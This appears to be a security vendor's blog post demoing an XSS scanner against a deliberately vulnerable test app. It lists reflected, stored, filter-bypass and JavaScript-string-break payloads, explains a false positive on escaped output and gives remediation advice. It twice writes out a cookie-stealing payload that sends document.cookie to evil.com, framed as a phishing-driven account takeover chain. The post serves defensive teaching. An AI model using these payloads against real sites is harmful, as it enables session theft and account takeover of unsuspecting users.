' and the server returns the HTML-escaped form '<script>alert(1)</script>', the escaped text is safe — a browser will display it as text, not execute it. But the string 'alert(1)' still appears in the response body. A scanner checking for 'alert(1)' in the response will flag it as a hit. This is the exact false positive in this demo: markupsafe's HTML escaping produces output where the payload text is present but not executable. The fix for the scanner is to check for unescaped angle brackets around the payload, or use headless browser verification to test whether the JavaScript actually executes." } }, { "@type": "Question", "name": "What is a filter bypass XSS attack?", "acceptedAnswer": { "@type": "Answer", "text": "Filter bypass XSS exploits incomplete input sanitisation. A developer blocks a known-dangerous pattern — for example, the literal string '. Step 3: send the crafted URL to the victim via phishing email, social engineering, or embed in a stored XSS location. Step 4: victim loads the URL (or visits the page with stored XSS). The payload executes in their browser. Their session cookie is sent to evil.com. Step 5: attacker uses the stolen cookie to impersonate the victim — no password required. The HttpOnly flag on cookies prevents JavaScript from reading them (blocking this exact chain). Stored XSS in the same application skips step 3 entirely — every visitor to the page is automatically compromised." } } ] }

SecurityClaw Found 4 XSS Vulnerabilities in Under Half a Second — And One False Positive That's Even More Useful

· SecurityClaw Demo D20 · Web Scanning

We gave SecurityClaw's xss-scanner a web app with 5 endpoints, told it nothing about the implementation, and let it run. 443 milliseconds later: 4 real vulnerabilities — CRITICAL reflected XSS, HIGH stored XSS, HIGH filter bypass, MEDIUM DOM injection. Then it flagged a fifth endpoint. We had deliberately secured that one. The scanner called it vulnerable anyway. Here's why that false positive is the most important result in this entire campaign.

Date:March 22, 2026
Tool:SecurityClaw xss-scanner
Category:Web Scanning
Result:✅ Pass — 4/4 real vulns confirmed + 1 false positive documented (443ms)
Target:AcmeCorp Customer Portal (Flask, controlled test environment)
Methodology note: This is a controlled demo against a sandboxed AcmeCorp Customer Portal (Flask) built by Peng's SecurityClaw research team with deliberate XSS vulnerabilities and one deliberately secured endpoint. The demo target has 24/24 TDD tests passing. Running XSS attacks against applications you don't own is illegal. This demo exists to show defenders what vulnerable and secure endpoints look like from a scanner's perspective — including what automated tools get wrong. Demo D20 — SecurityClaw's Web Scanning category. Campaign 35.

The Complete Results

ID Severity Endpoint Type Result
XSS-01 CRITICAL /search?q= Reflected XSS 11/11 payloads — all payload types execute
XSS-02 HIGH POST /feedback Stored XSS Payload persists and executes for every subsequent visitor
XSS-03 HIGH /comment?text= Filter bypass 10/11 payload types bypass the filter
XSS-04 MEDIUM /profile?username= DOM injection JS string break via quote injection in user context
FP-01 FALSE POSITIVE ✅ /safe-search?q= markupsafe-escaped 11/11 scanner flags — 0/11 real vulnerabilities (explained below)

55 total payload tests across 5 endpoints. 44 genuine vulnerability hits. 11 false positive hits on the one endpoint we deliberately secured. Detection rate on vulnerable endpoints: 100%. False positive rate: 1 endpoint out of 5. Total scan time: 443 milliseconds.

XSS-01 (CRITICAL): Reflected XSS — Every Payload Executes

The /search?q= endpoint takes user input and reflects it directly into the HTML response without any encoding. SecurityClaw tested 11 payload types. All 11 executed:

  • <script>alert(1)</script> — classic script tag injection
  • <img src=x onerror=alert(1)> — image error handler
  • <svg onload=alert(1)> — SVG load event
  • <body onload=alert(1)> — body event handler
  • "><script>alert(1)</script> — attribute break + injection
  • And six additional event-handler and protocol variants

The application renders search results with the query term in the page title: "Results for: [user input]". Zero sanitisation. Zero encoding. The full query string goes into the HTML template raw. Every payload type that a browser will execute — executes.

For an attacker, this is a one-step account takeover setup:

# Craft the payload URL
https://acmecorp.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

# Send to victim via phishing email
# Victim clicks → their session cookie exfiltrated to evil.com
# Attacker uses cookie → full account access, no password needed

XSS-02 (HIGH): Stored XSS — One Submission, Every Visitor Affected

The POST /feedback endpoint saves user-submitted content to the database and displays it on the feedback page — without encoding. SecurityClaw submitted a single stored payload. Every subsequent request to the feedback page executed it.

Stored XSS is categorically worse than reflected XSS for one reason: it doesn't require the victim to click a crafted link. The payload is already in the page. Anyone who loads the feedback section — customers, support staff, administrators — automatically executes the attacker's JavaScript.

For bug hunters targeting SaaS applications, stored XSS in admin-facing panels is a critical-severity finding: it affects privileged users, executes in a privileged session context, and persists until manually removed. A stored payload that redirects admin cookies to an attacker server gives admin account access to every person who loads the admin panel.

XSS-03 (HIGH): Filter Bypass — The "I Block Script Tags" Problem

The /comment?text= endpoint has a sanitisation filter. SecurityClaw detected it and tested 11 bypass techniques. Ten of them worked. The filter blocks exactly one pattern: the literal string <script>.

# Blocked (the one pattern the developer thought to block):
/comment?text=<script>alert(1)</script>  → filtered

# Bypassed (the other 10 payload types):
/comment?text=<img src=x onerror=alert(1)>          → executes ✅
/comment?text=<svg onload=alert(1)>                  → executes ✅
/comment?text=<body onload=alert(1)>                 → executes ✅
/comment?text=<a href="javascript:alert(1)">click</a> → executes ✅
/comment?text=<div onfocus=alert(1) autofocus>        → executes ✅
# ... and five more

This is the fundamental problem with filter-based sanitisation: it's a blocklist of what you've already thought of. HTML has hundreds of event handlers across dozens of element types. onerror, onload, onfocus, onmouseover, onclick, onkeydown — any element attribute beginning with on can carry JavaScript in a browser that renders it. A filter that blocks <script> and misses onerror provides theatre, not security.

The correct approach is output encoding: escape every character that has special meaning in HTML context on the way out, not blocking patterns on the way in. Libraries like markupsafe (Python), DOMPurify (JavaScript), and OWASP's Java Encoder handle this correctly. The key word is correctly — as the FP-01 section below demonstrates.

XSS-04 (MEDIUM): DOM Injection via JavaScript String Break

The /profile?username= endpoint writes user input directly into a JavaScript string variable in a <script> block:

// Server-rendered output (vulnerable):
<script>
  var username = "alice";  // username comes from URL parameter
  displayWelcome(username);
</script>

Inject a quote and the string context breaks:

# Input: alice";alert(1);//
# Rendered output:
<script>
  var username = "alice";alert(1);//";
  displayWelcome(username);
</script>

The quote closes the string. alert(1) executes as a JavaScript statement. The // comments out the rest of the line. The browser executes the injected code.

DOM injection is rated MEDIUM here because the username parameter has length constraints that limit payload complexity — attackers can trigger execution but carrying sophisticated payloads requires chaining with a resource load. In applications without length constraints, DOM injection is functionally equivalent to reflected XSS in impact.

FP-01: The False Positive — And Why It's the Most Important Result

SecurityClaw flagged /safe-search?q= as vulnerable. It isn't. We built it correctly on purpose, using markupsafe — Python's standard HTML escaping library. The scanner fired 11 flags on 11 payload tests. Every single one was a false positive.

Here's exactly why:

# What the attacker submits:
/safe-search?q=<script>alert(1)</script>

# What markupsafe produces in the response:
Results for: &lt;script&gt;alert(1)&lt;/script&gt;

# What the browser renders:
Results for: <script>alert(1)</script>  ← displayed as text, not executed

The scanner's secondary detection method checks whether alert(1) appears anywhere in the response body. After markupsafe escapes the payload, the angle brackets become HTML entities (&lt; and &gt;) — but the text alert(1) is still present, unmodified, between those entities. The scanner sees alert(1) in the response. It flags it as a hit. The browser sees a text string. It doesn't execute anything.

What the Scanner Got Wrong

The scanner uses two detection methods:

  1. Primary (correct): Is the raw payload reflected in the response verbatim — including unescaped angle brackets? This correctly identifies XSS-01, XSS-02, XSS-03, XSS-04.
  2. Secondary (flawed): Does alert(1) appear anywhere in the response? This fires on escaped output where alert(1) text is present but not executable.

Method 2 is the false positive source. A more sophisticated scanner would check that < appears unescaped before the payload, or use a headless browser (Playwright, Puppeteer) to test whether the JavaScript actually executes in DOM context. SecurityClaw can add headless browser verification as a confirmation step. This demo is why that feature exists on the roadmap.

Why We're Leading With the False Positive

Because this is the most important thing this campaign teaches: automated scanners triage vulnerabilities, they don't confirm them.

Every SecurityClaw flag is a hypothesis. The scanner says: "this endpoint showed behaviour consistent with XSS." A human must then verify whether that hypothesis is correct. In this demo, the scanner was right 44 times and wrong 11 times. A security professional who acts on every scanner flag without verification will waste time chasing FP-01. A security professional who dismisses scanner flags without verification will miss XSS-01 through XSS-04.

The correct workflow: scanner finds candidates, human confirms exploitability, team prioritises remediation by confirmed severity. Scanners are fast. Humans are accurate. Neither is sufficient alone.

"We ran 55 tests. 44 real hits. 11 false positives — all on the one endpoint we deliberately secured. That's a useful result. The false positive tells you what the scanner can't see. Knowing the boundary is half the job."

The Attack Chain

D20 sits at the exploitation stage of the SecurityClaw recon-to-account-takeover chain:

  1. D16 (ffuf) — discovers /search, /comment, /feedback, and /profile endpoints in 2.0 seconds. Finds the target surface.
  2. D20 (xss-scanner) — confirms XSS in all 4 vulnerable endpoints in 443ms. CRITICAL reflected XSS on /search is the primary attack surface.
  3. Attacker crafts payload: https://acmecorp.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
  4. Phishing delivery: Link sent to target user. Victim clicks. Cookie exfiltrated.
  5. Session hijack: Attacker replays stolen cookie. Full account access. No password. No second factor required (session tokens bypass MFA in most implementations).

The stored XSS on /feedback skips step 4 entirely — no phishing needed. Submit once; compromise every visitor automatically.

Remediation

FindingFix
XSS-01 Reflected / XSS-02 Stored Use a templating engine with autoescaping enabled (Jinja2, Django, React JSX, Angular). Never concatenate user input into HTML manually. Apply output encoding at render time, not input time.
XSS-03 Filter bypass Replace the blocklist filter with markupsafe, DOMPurify, or OWASP Java Encoder. Allowlist safe HTML elements if rich content is needed; default to full escaping.
XSS-04 DOM injection Never write user-controlled data directly into JavaScript string contexts. Use JSON.stringify() for data injection into script blocks, or pass data via data-* attributes and read with dataset.
All XSS Set Content-Security-Policy header to restrict script sources. Set HttpOnly flag on session cookies to prevent JavaScript access (blocks the cookie-theft attack chain). These are defence-in-depth — fix the injection first.

For the definitive reference on XSS, injection attacks, and defensive coding practices, Hacking APIs covers injection vulnerabilities across the full API attack surface. For a broader penetration test methodology context, The Hacker Playbook 3 includes XSS exploitation techniques within complete engagement case studies.

SecurityClaw Scorecard: D20

MetricValue
ToolSecurityClaw xss-scanner
Endpoints tested5
Total payload tests55 (11 payload types × 5 endpoints)
Genuine vulnerability hits44 / 55
False positive hits11 / 55 (all on /safe-search — markupsafe false alarm)
CRITICAL findings1 (XSS-01 reflected — 11/11 payloads)
HIGH findings2 (XSS-02 stored; XSS-03 filter bypass — 10/11 payloads)
MEDIUM findings1 (XSS-04 DOM injection)
False positive1 endpoint (markupsafe — properly escaped, not vulnerable)
Total scan time443ms
TDD tests24 / 24 ✅
Campaign ID35
Campaign resultPASS
Overall scorecard after D2029/32 campaigns = 90.63%

443 milliseconds. 4 real vulnerabilities. 1 honest false positive with a precise technical explanation of why it fired. The CRITICAL reflected XSS on /search is a one-click account takeover. The stored XSS on /feedback is a passive compromise that affects every visitor. The filter bypass on /comment is a textbook demonstration of why blocklists fail.

The false positive on /safe-search is a feature, not a gap. It tells you exactly where the scanner's confidence ends and human verification begins. The boundary of automation is where the skill of a security professional starts.

Advertisement